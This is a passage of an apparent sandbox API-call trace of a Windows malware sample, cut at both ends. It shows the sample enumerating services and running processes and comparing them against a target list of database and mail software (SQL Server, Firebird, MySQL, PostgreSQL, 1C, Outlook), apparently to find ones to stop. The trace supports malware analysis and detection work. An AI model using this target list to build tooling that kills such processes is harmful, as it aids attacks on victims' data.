lpString2="WdiServiceHost") returned -1 [0035.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0035.644] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0035.644] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0035.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0035.644] lstrlenW (lpString="WdiSystemHost") returned 13 [0035.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0035.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0035.644] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0035.644] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0035.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0035.644] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0035.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0035.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0035.644] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0035.644] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0035.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0035.644] lstrlenW (lpString="Winmgmt") returned 7 [0035.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0035.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0035.644] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0035.644] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0035.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0035.644] lstrlenW (lpString="WPDBusEnum") returned 10 [0035.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0035.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0035.644] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0035.644] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0035.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0035.645] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x395a708 | out: hHeap=0x880000) returned 1 [0035.645] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x198 [0035.647] Process32FirstW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0035.647] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0035.648] lstrlenW (lpString="System") returned 6 [0035.648] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0035.648] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0035.648] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0035.648] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0035.648] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0035.648] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0035.648] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0035.648] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0035.648] lstrlenW (lpString="smss.exe") returned 8 [0035.648] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0035.648] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0035.648] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0035.648] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0035.648] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0035.648] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0035.648] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0035.648] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0035.649] lstrlenW (lpString="csrss.exe") returned 9 [0035.649] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0035.649] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0035.649] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0035.649] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0035.649] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0035.649] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0035.649] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0035.649] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0035.649] lstrlenW (lpString="wininit.exe") returned 11 [0035.649] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0035.649] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0035.649] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0035.649] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0035.649] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0035.649] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0035.649] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0035.649] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0035.650] lstrlenW (lpString="csrss.exe") returned 9 [0035.650] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0035.650] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0035.650] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0035.650] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0035.650] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0035.650] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0035.650] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0035.650] lstrlenW (lpString="winlogon.exe") returned 12 [0035.650] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0035.651] lstrlenW (lpString="services.exe") returned 12 [0035.651] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0035.651] lstrlenW (lpString="lsass.exe") returned 9 [0035.651] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0035.652] lstrlenW (lpString="lsm.exe") returned 7 [0035.652] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.652] lstrlenW (lpString="svchost.exe") returned 11 [0035.652] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.652] lstrlenW (lpString="svchost.exe") returned 11 [0035.652] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.653] lstrlenW (lpString="svchost.exe") returned 11 [0035.653] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.653] lstrlenW (lpString="svchost.exe") returned 11 [0035.653] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.653] lstrlenW (lpString="svchost.exe") returned 11 [0035.653] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0035.654] lstrlenW (lpString="audiodg.exe") returned 11 [0035.654] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.654] lstrlenW (lpString="svchost.exe") returned 11 [0035.654] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.655] lstrlenW (lpString="svchost.exe") returned 11 [0035.655] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0035.655] lstrlenW (lpString="dwm.exe") returned 7 [0035.655] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0035.655] lstrlenW (lpString="explorer.exe") returned 12 [0035.655] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0035.656] lstrlenW (lpString="spoolsv.exe") returned 11 [0035.656] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0035.656] lstrlenW (lpString="taskhost.exe") returned 12 [0035.656] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.656] lstrlenW (lpString="svchost.exe") returned 11 [0035.656] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0035.657] lstrlenW (lpString="taskeng.exe") returned 11 [0035.657] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="judges-present.exe")) returned 1 [0035.657] lstrlenW (lpString="judges-present.exe") returned 18 [0035.657] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="physics.exe")) returned 1 [0035.657] lstrlenW (lpString="physics.exe") returned 11 [0035.658] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="belongs.exe")) returned 1 [0035.658] lstrlenW (lpString="belongs.exe") returned 11 [0035.658] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="deck-truly-lauderdale.exe")) returned 1 [0035.658] lstrlenW (lpString="deck-truly-lauderdale.exe") returned 25 [0035.658] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gadgets.exe")) returned 1 [0035.659] lstrlenW (lpString="gadgets.exe") returned 11 [0035.659] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="geneva.exe")) returned 1 [0035.659] lstrlenW (lpString="geneva.exe") returned 10 [0035.659] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="elephant.exe")) returned 1 [0035.659] lstrlenW (lpString="elephant.exe") returned 12 [0035.659] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="revolution_qualities.exe")) returned 1 [0035.660] lstrlenW (lpString="revolution_qualities.exe") returned 24 [0035.660] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="roger-venice.exe")) returned 1 [0035.660] lstrlenW (lpString="roger-venice.exe") returned 16 [0035.660] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cite.exe")) returned 1 [0035.660] lstrlenW (lpString="cite.exe") returned 8 [0035.660] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="popularity_segments_sell.exe")) returned 1 [0035.661] lstrlenW (lpString="popularity_segments_sell.exe") returned 28 [0035.661] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="genius regulation transform.exe")) returned 1 [0035.661] lstrlenW (lpString="genius regulation transform.exe") returned 31 [0035.661] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artist_selecting.exe")) returned 1 [0035.662] lstrlenW (lpString="artist_selecting.exe") returned 20 [0035.662] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="poems.exe")) returned 1 [0035.662] lstrlenW (lpString="poems.exe") returned 9 [0035.662] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x770, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bow.exe")) returned 1 [0035.662] lstrlenW (lpString="bow.exe") returned 7 [0035.662] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artworkcustomerprecise.exe")) returned 1 [0035.663] lstrlenW (lpString="artworkcustomerprecise.exe") returned 26 [0035.663] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="businesses.exe")) returned 1 [0035.663] lstrlenW (lpString="businesses.exe") returned 14 [0035.663] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="lucky.exe")) returned 1 [0035.663] lstrlenW (lpString="lucky.exe") returned 9 [0035.663] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="routine_mall_hebrew.exe")) returned 1 [0035.664] lstrlenW (lpString="routine_mall_hebrew.exe") returned 23 [0035.664] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="healthmanner.exe")) returned 1 [0035.664] lstrlenW (lpString="healthmanner.exe") returned 16 [0035.664] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0035.664] lstrlenW (lpString="3dftp.exe") returned 9 [0035.664] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0035.665] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0035.665] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0035.665] lstrlenW (lpString="alftp.exe") returned 9 [0035.665] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0035.666] lstrlenW (lpString="barca.exe") returned 9 [0035.666] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0035.666] lstrlenW (lpString="bitkinex.exe") returned 12 [0035.666] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0035.666] lstrlenW (lpString="coreftp.exe") returned 11 [0035.666] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0035.667] lstrlenW (lpString="far.exe") returned 7 [0035.667] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0035.667] lstrlenW (lpString="filezilla.exe") returned 13 [0035.667] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0035.667] lstrlenW (lpString="flashfxp.exe") returned 12 [0035.667] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0035.668] lstrlenW (lpString="fling.exe") returned 9 [0035.668] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0035.668] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0035.668] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0035.669] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0035.669] Process32NextW (in: hSnapshot=0x198, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0035.669] lstrlenW (lpString="icq.exe") returned 7 [0035.669] Process32NextW (in: hSnapshot=0x198, 